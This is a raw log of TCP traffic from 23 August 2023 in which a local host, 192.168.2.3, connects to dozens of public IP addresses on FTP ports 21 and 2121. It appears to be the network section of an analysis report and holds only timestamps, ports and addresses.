Aug 23, 2023 09:16:36.532789946 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:36.532864094 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:36.533246040 CEST	52324	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:36.549156904 CEST	2121	52334	217.13.171.205	192.168.2.3
Aug 23, 2023 09:16:36.552264929 CEST	2121	52331	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.552640915 CEST	52331	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.573745012 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.574110031 CEST	52327	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.579246044 CEST	21	52319	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:36.579566002 CEST	52319	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:36.581703901 CEST	2121	52331	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.582858086 CEST	2121	52331	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.583133936 CEST	52331	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.590339899 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.590384960 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.590436935 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.590550900 CEST	52327	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.590660095 CEST	52327	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.591450930 CEST	52335	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.595644951 CEST	21	52297	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:36.595938921 CEST	21	52297	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:36.595980883 CEST	21	52297	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:36.596112967 CEST	52297	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:36.596112967 CEST	52297	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:36.596857071 CEST	52336	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:36.606823921 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.607609034 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.607709885 CEST	52335	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.614759922 CEST	2121	52331	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.615070105 CEST	52331	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.631159067 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:36.631421089 CEST	52261	2121	192.168.2.3	1.105.79.15
Aug 23, 2023 09:16:36.631442070 CEST	52257	2121	192.168.2.3	23.239.20.253
Aug 23, 2023 09:16:36.631443024 CEST	52259	21	192.168.2.3	73.250.131.2
Aug 23, 2023 09:16:36.631571054 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:36.631963015 CEST	52314	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:36.644732952 CEST	2121	52331	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.644918919 CEST	52331	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.645261049 CEST	2121	52331	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.645320892 CEST	52331	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.645714045 CEST	52337	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.647031069 CEST	52269	21	192.168.2.3	51.187.36.177
Aug 23, 2023 09:16:36.647047043 CEST	52260	21	192.168.2.3	1.105.79.15
Aug 23, 2023 09:16:36.647047043 CEST	52268	2121	192.168.2.3	91.150.169.247
Aug 23, 2023 09:16:36.647048950 CEST	52264	21	192.168.2.3	67.188.193.23
Aug 23, 2023 09:16:36.647080898 CEST	52265	2121	192.168.2.3	67.188.193.23
Aug 23, 2023 09:16:36.647082090 CEST	52258	2121	192.168.2.3	73.250.131.2
Aug 23, 2023 09:16:36.647139072 CEST	52262	21	192.168.2.3	89.182.123.68
Aug 23, 2023 09:16:36.658669949 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:36.662661076 CEST	52263	2121	192.168.2.3	89.182.123.68
Aug 23, 2023 09:16:36.662666082 CEST	52270	2121	192.168.2.3	51.187.36.177
Aug 23, 2023 09:16:36.662703991 CEST	52266	21	192.168.2.3	91.150.169.247
Aug 23, 2023 09:16:36.674397945 CEST	2121	52331	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.675007105 CEST	2121	52337	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.675092936 CEST	52337	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.677352905 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:36.679331064 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:36.679632902 CEST	52323	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:36.693922043 CEST	52271	21	192.168.2.3	72.216.168.182
Aug 23, 2023 09:16:36.725193024 CEST	52272	2121	192.168.2.3	72.216.168.182
Aug 23, 2023 09:16:36.725267887 CEST	52273	21	192.168.2.3	188.224.23.151
Aug 23, 2023 09:16:36.751056910 CEST	21	52319	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:36.751106024 CEST	21	52319	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:36.751244068 CEST	52319	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:36.751317978 CEST	52319	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:36.752013922 CEST	52338	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:36.756422043 CEST	52275	21	192.168.2.3	41.143.99.98
Aug 23, 2023 09:16:36.756424904 CEST	52276	2121	192.168.2.3	41.143.99.98
Aug 23, 2023 09:16:36.756465912 CEST	52274	2121	192.168.2.3	188.224.23.151
Aug 23, 2023 09:16:36.759763956 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:36.787735939 CEST	52278	21	192.168.2.3	121.147.24.120
Aug 23, 2023 09:16:36.809664011 CEST	21	52297	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:36.810406923 CEST	21	52336	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:36.810555935 CEST	52336	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:36.820313931 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.820753098 CEST	52335	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.836922884 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.837297916 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.837642908 CEST	52335	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.853957891 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.860523939 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:36.860579014 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:36.860666990 CEST	52314	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:36.867146015 CEST	52314	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:36.868663073 CEST	52339	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:36.875514984 CEST	2121	52337	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.875904083 CEST	52337	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.905276060 CEST	2121	52337	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.906145096 CEST	2121	52337	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.906426907 CEST	52337	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.915545940 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.915826082 CEST	52335	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.922833920 CEST	21	52319	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:36.923145056 CEST	21	52338	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:36.923221111 CEST	52338	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:36.928286076 CEST	52279	2121	192.168.2.3	121.147.24.120
Aug 23, 2023 09:16:36.932079077 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.932127953 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.932183027 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.932240009 CEST	52335	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.932347059 CEST	52335	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.932975054 CEST	52340	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.937551022 CEST	2121	52337	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.937881947 CEST	52337	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.943916082 CEST	52282	2121	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:36.948587894 CEST	21	52335	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.949172020 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.949254990 CEST	52340	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.965004921 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:36.967259884 CEST	2121	52337	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.967442989 CEST	52337	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.967751026 CEST	2121	52337	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.967824936 CEST	52337	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.968162060 CEST	52341	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.990873098 CEST	52329	2121	192.168.2.3	108.184.79.201
Aug 23, 2023 09:16:36.990880966 CEST	52328	21	192.168.2.3	108.184.79.201
Aug 23, 2023 09:16:36.990890980 CEST	52284	21	192.168.2.3	24.198.79.93
Aug 23, 2023 09:16:36.993561029 CEST	52343	2121	192.168.2.3	79.199.149.90
Aug 23, 2023 09:16:36.993702888 CEST	52342	21	192.168.2.3	79.199.149.90
Aug 23, 2023 09:16:36.993757963 CEST	52344	21	192.168.2.3	178.63.69.171
Aug 23, 2023 09:16:36.993849039 CEST	52345	2121	192.168.2.3	178.63.69.171
Aug 23, 2023 09:16:36.993958950 CEST	52346	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:36.996422052 CEST	2121	52337	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.001543999 CEST	2121	52341	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.001620054 CEST	52341	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.006443024 CEST	52333	21	192.168.2.3	217.13.171.205
Aug 23, 2023 09:16:37.007030964 CEST	52347	2121	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:37.009757996 CEST	21	52346	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:37.009856939 CEST	52346	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:37.022078991 CEST	52285	2121	192.168.2.3	24.198.79.93
Aug 23, 2023 09:16:37.032769918 CEST	21	52333	217.13.171.205	192.168.2.3
Aug 23, 2023 09:16:37.034493923 CEST	21	52336	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:37.034836054 CEST	52336	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:37.046782970 CEST	21	52346	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:37.046960115 CEST	52346	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:37.048510075 CEST	52348	21	192.168.2.3	5.69.146.255
Aug 23, 2023 09:16:37.053298950 CEST	52334	2121	192.168.2.3	217.13.171.205
Aug 23, 2023 09:16:37.063390970 CEST	21	52346	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:37.063510895 CEST	52346	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:37.079624891 CEST	2121	52334	217.13.171.205	192.168.2.3
Aug 23, 2023 09:16:37.095376015 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:37.097611904 CEST	21	52339	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:37.097822905 CEST	52339	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:37.134646893 CEST	21	52338	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:37.136658907 CEST	52338	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:37.142364979 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.144723892 CEST	52340	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.161134005 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.161385059 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.161763906 CEST	52340	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.175266981 CEST	21	52328	108.184.79.201	192.168.2.3
Aug 23, 2023 09:16:37.178147078 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.180021048 CEST	2121	52329	108.184.79.201	192.168.2.3
Aug 23, 2023 09:16:37.196443081 CEST	2121	52341	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.196799994 CEST	52341	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.225208998 CEST	52287	2121	192.168.2.3	37.186.115.128
Aug 23, 2023 09:16:37.229271889 CEST	2121	52341	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.230984926 CEST	2121	52341	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.231276989 CEST	52341	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.239288092 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.241130114 CEST	52340	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.248444080 CEST	21	52336	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:37.257636070 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.257687092 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.257725000 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.257888079 CEST	52340	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.259711027 CEST	52349	2121	192.168.2.3	5.69.146.255
Aug 23, 2023 09:16:37.259711981 CEST	52340	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.259793997 CEST	52351	21	192.168.2.3	73.16.197.97
Aug 23, 2023 09:16:37.259877920 CEST	52352	2121	192.168.2.3	73.16.197.97
Aug 23, 2023 09:16:37.259923935 CEST	52353	2121	192.168.2.3	94.192.155.186
Aug 23, 2023 09:16:37.259931087 CEST	52350	21	192.168.2.3	94.192.155.186
Aug 23, 2023 09:16:37.259931087 CEST	52354	21	192.168.2.3	218.238.46.93
Aug 23, 2023 09:16:37.264875889 CEST	52355	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.266415119 CEST	2121	52341	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.268096924 CEST	52341	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.275891066 CEST	21	52340	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.281135082 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.285084963 CEST	52355	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.301048994 CEST	2121	52341	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.301634073 CEST	2121	52341	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.302171946 CEST	52341	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.302171946 CEST	52341	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.302171946 CEST	52356	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.307760954 CEST	21	52338	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:37.309138060 CEST	21	52338	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:37.309551001 CEST	52338	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:37.328737020 CEST	21	52339	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:37.329710960 CEST	52339	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:37.331518888 CEST	2121	52356	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.333452940 CEST	52356	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.334382057 CEST	2121	52341	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.398411036 CEST	52357	2121	192.168.2.3	218.238.46.93
Aug 23, 2023 09:16:37.399507999 CEST	52358	21	192.168.2.3	18.164.95.24
Aug 23, 2023 09:16:37.481602907 CEST	21	52338	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:37.484015942 CEST	52338	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:37.496099949 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.497168064 CEST	52355	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.513477087 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.514004946 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.514960051 CEST	52355	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.531348944 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.536803007 CEST	2121	52356	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.537234068 CEST	52356	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.539192915 CEST	52333	21	192.168.2.3	217.13.171.205
Aug 23, 2023 09:16:37.558495998 CEST	21	52339	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:37.558646917 CEST	21	52339	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:37.561301947 CEST	52339	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:37.565409899 CEST	21	52333	217.13.171.205	192.168.2.3
Aug 23, 2023 09:16:37.566082954 CEST	52359	2121	192.168.2.3	18.164.95.24
Aug 23, 2023 09:16:37.566194057 CEST	2121	52356	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.567817926 CEST	2121	52356	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.568363905 CEST	52356	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.587579966 CEST	52334	2121	192.168.2.3	217.13.171.205
Aug 23, 2023 09:16:37.600159883 CEST	2121	52356	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.601231098 CEST	52356	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.603490114 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.603806973 CEST	52355	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.613821983 CEST	2121	52334	217.13.171.205	192.168.2.3
Aug 23, 2023 09:16:37.616944075 CEST	52360	21	192.168.2.3	95.118.46.83
Aug 23, 2023 09:16:37.620084047 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.620312929 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.620441914 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.620709896 CEST	52355	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.620919943 CEST	52355	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.627509117 CEST	52361	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.630686998 CEST	2121	52356	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.631041050 CEST	2121	52356	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.631113052 CEST	52356	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.636001110 CEST	52356	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.636904955 CEST	52362	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.637156963 CEST	21	52355	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.643805981 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.647501945 CEST	52361	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.655395985 CEST	21	52338	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:37.655486107 CEST	21	52338	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:37.655720949 CEST	52338	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:37.655720949 CEST	52338	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:37.656353951 CEST	52363	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:37.660249949 CEST	2121	52356	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.668962002 CEST	2121	52362	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.671515942 CEST	52362	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.678433895 CEST	52328	21	192.168.2.3	108.184.79.201
Aug 23, 2023 09:16:37.679477930 CEST	52295	21	192.168.2.3	96.7.147.185
Aug 23, 2023 09:16:37.694461107 CEST	52329	2121	192.168.2.3	108.184.79.201
Aug 23, 2023 09:16:37.763541937 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:37.765333891 CEST	52324	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:37.790426970 CEST	21	52339	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:37.790904999 CEST	52339	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:37.826978922 CEST	21	52338	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:37.827827930 CEST	21	52363	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:37.832197905 CEST	52363	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:37.860049963 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.862634897 CEST	52361	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.865130901 CEST	2121	52362	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.866343021 CEST	52362	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.876142979 CEST	21	52328	108.184.79.201	192.168.2.3
Aug 23, 2023 09:16:37.876904964 CEST	52364	2121	192.168.2.3	95.118.46.83
Aug 23, 2023 09:16:37.879173994 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.879792929 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.880404949 CEST	52361	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.880913019 CEST	2121	52329	108.184.79.201	192.168.2.3
Aug 23, 2023 09:16:37.884147882 CEST	52365	21	192.168.2.3	129.150.55.173
Aug 23, 2023 09:16:37.896951914 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.898365021 CEST	2121	52362	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.898423910 CEST	52298	2121	192.168.2.3	96.7.147.185
Aug 23, 2023 09:16:37.899923086 CEST	2121	52362	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.900250912 CEST	52362	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.935415030 CEST	2121	52362	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.937318087 CEST	52362	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.947324991 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:37.947365046 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:37.947400093 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:37.947596073 CEST	52324	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:37.947665930 CEST	52324	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:37.948919058 CEST	52366	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:37.956381083 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.959403992 CEST	52361	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.969813108 CEST	2121	52362	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.970350027 CEST	2121	52362	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:37.970408916 CEST	52362	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.970556974 CEST	52367	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.970576048 CEST	52362	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:37.975603104 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.975836992 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.976021051 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.976183891 CEST	52361	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.976185083 CEST	52361	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.981306076 CEST	52368	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:37.992409945 CEST	21	52361	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.997720957 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:37.999995947 CEST	2121	52367	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.000056028 CEST	52368	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.001981020 CEST	52367	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.002198935 CEST	2121	52362	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.006556988 CEST	52302	2121	192.168.2.3	212.242.98.229
Aug 23, 2023 09:16:38.006557941 CEST	52301	21	192.168.2.3	212.242.98.229
Aug 23, 2023 09:16:38.019783974 CEST	21	52339	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:38.019823074 CEST	21	52339	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:38.020112991 CEST	52339	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:38.020726919 CEST	52339	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:38.020741940 CEST	52369	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:38.029555082 CEST	21	52363	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:38.032655001 CEST	52363	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:38.121301889 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:38.122102976 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:38.123567104 CEST	52366	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:38.195838928 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.196151972 CEST	52368	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.201852083 CEST	2121	52367	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.202083111 CEST	52367	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.204062939 CEST	21	52363	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:38.205271959 CEST	21	52363	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:38.205651045 CEST	52363	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:38.212330103 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.212677956 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.218996048 CEST	52368	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.225337029 CEST	52304	2121	192.168.2.3	129.146.236.7
Aug 23, 2023 09:16:38.225388050 CEST	52303	21	192.168.2.3	129.146.236.7
Aug 23, 2023 09:16:38.235342979 CEST	2121	52367	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.235388994 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.236785889 CEST	2121	52367	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.237112999 CEST	52367	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.249458075 CEST	21	52339	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:38.249604940 CEST	21	52369	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:38.249696016 CEST	52369	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:38.256531000 CEST	52305	21	192.168.2.3	86.8.26.40
Aug 23, 2023 09:16:38.256871939 CEST	52306	2121	192.168.2.3	86.8.26.40
Aug 23, 2023 09:16:38.269095898 CEST	2121	52367	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.269371033 CEST	52367	2121	192.168.2.3	95.85.215.156
